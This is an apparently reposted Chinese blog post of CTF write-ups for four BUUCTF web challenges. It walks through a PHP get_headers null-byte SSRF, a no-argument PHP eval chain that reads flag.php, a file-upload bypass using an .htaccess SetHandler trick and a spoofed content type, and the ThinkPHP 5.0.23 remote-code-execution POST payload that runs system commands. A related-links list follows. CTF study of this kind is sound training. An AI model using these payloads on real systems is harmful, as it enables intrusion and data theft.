博客
关于我
buu web 37-40 writeup
阅读量:477 次
发布时间:2019-03-06

本文共 2809 字,大约阅读时间需要 9 分钟。

buu web 37-40 writeup

目录


[GKCTF2020]cve版签到

题目:

解题过程:

打开题目之后,界面如下

点击view ctfhub   界面跳转,注意url变成了

http://28fdd27c-a54e-4b76-a082-628042a20805.node3.buuoj.cn/?url=http://www.ctfhub.com

漏洞详情:

PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。 PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

可以知道 PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞,通过%00截断可以访问本地主机。

试一下

?url=http://127.0.0.1%00.ctfhub.com

提示host以123结尾

payload:

?url=http://127.0.0.123%00.ctfhub.com

得到flag


[GXYCTF2019]禁止套娃

题目:

解题过程:

本题是.git源码泄露,需要下载GitHack-master,py脚本跑一下才得到后端源码

得源码步骤:

首先电脑上要有python2.x的环境,然后去下载相应的文件,在下载好的GitHack-master文件夹内按住shift键,同时鼠标右键点击空白处,点击在此处打开命令窗口,输入命令

python GitHack.py http://8c23e055-0375-4f0b-bb6a-52ee19194263.node3.buuoj.cn/.git/

得到的源码会留在工具所在的文件夹内

";if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); }}// highlight_file(__FILE__);?>

看到eval猜测是命令执行,但是要经过三层防护

第一层:对data://,filter://,php://,phar://  这几个常见的伪协议进行过滤;

第二层:'/[a-z,_]+\((?R)?\)/'?R表示引用当前表达式,所以形如a(b();)是合法的

第三层:过滤一些关键词

相关函数:

1.localeconv() 函数

2.scandir()函数

3.current()函数

4.pos()函数

5.array_reverse()函数

相关本地实践

---------- php5.69 ----------heelworldhuyaArray( [0] => doyu [1] => huya [2] => world [3] => heel)输出完成 (耗时 0 秒) - 正常终止

首先,查看文件目录

?exp=print_r(scandir(current(localeconv())));

或者

?exp=print_r(scandir(pos(localeconv())));

查看第三个文件flag.php,payload如下:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

或者

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));


[GXYCTF2019]BabyUpload

题目:

解题过程

打开题目

试了试几个文件,

首先正常的一句话木马,后缀名不能有ph!

试了试,发现过滤了txt,png等格式,所以用jpg图片马,正常的一句话木马

GIF89a?

 回显:诶,别蒙我啊,这标志明显还是php啊

。。。嘶  可能是过滤了<?php    所以用下面的代码进行代替

GIF89a?

 

上传成功后,利用上次SUCTF的经验,因为是apache,尝试上传.htaccess

SetHandler application/x-httpd-php

 注意抓包,将content-type的值改为image/jpeg   ,这样才能上传成功。

然后蚁剑连接,flag在根目录。

 

[BJDCTF 2nd]old-hack

题目:

解题过程

根据题目信心,猜测是thinkphp5的漏洞。

首先确定版本

传入一个s=1使之报错,然后查看版本信息,得到thinkphp的版本是5.0.23

上网查一下thinkphp5.0.23版本的漏洞,

找到漏洞利用方法

  POST传值:    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

首先,看一下根目录文件有哪些(因为做题经验,flag一般在根目录)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /

payload:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag


相关资料:

1.

 

转载地址:http://jfcdz.baihongyu.com/

你可能感兴趣的文章
mysql中出现Incorrect DECIMAL value: '0' for column '' at row -1错误解决方案
查看>>
mysql中出现Unit mysql.service could not be found 的解决方法
查看>>
mysql中出现update-alternatives: 错误: 候选项路径 /etc/mysql/mysql.cnf 不存在 dpkg: 处理软件包 mysql-server-8.0的解决方法(全)
查看>>
Mysql中各类锁的机制图文详细解析(全)
查看>>
MySQL中地理位置数据扩展geometry的使用心得
查看>>
Mysql中存储引擎简介、修改、查询、选择
查看>>
Mysql中存储过程、存储函数、自定义函数、变量、流程控制语句、光标/游标、定义条件和处理程序的使用示例
查看>>
mysql中实现rownum,对结果进行排序
查看>>
mysql中对于数据库的基本操作
查看>>
Mysql中常用函数的使用示例
查看>>
MySql中怎样使用case-when实现判断查询结果返回
查看>>
Mysql中怎样使用update更新某列的数据减去指定值
查看>>
Mysql中怎样设置指定ip远程访问连接
查看>>
mysql中数据表的基本操作很难嘛,由这个实验来带你从头走一遍
查看>>
Mysql中文乱码问题完美解决方案
查看>>
mysql中的 +号 和 CONCAT(str1,str2,...)
查看>>
Mysql中的 IFNULL 函数的详解
查看>>
mysql中的collate关键字是什么意思?
查看>>
MySql中的concat()相关函数
查看>>
mysql中的concat函数,concat_ws函数,concat_group函数之间的区别
查看>>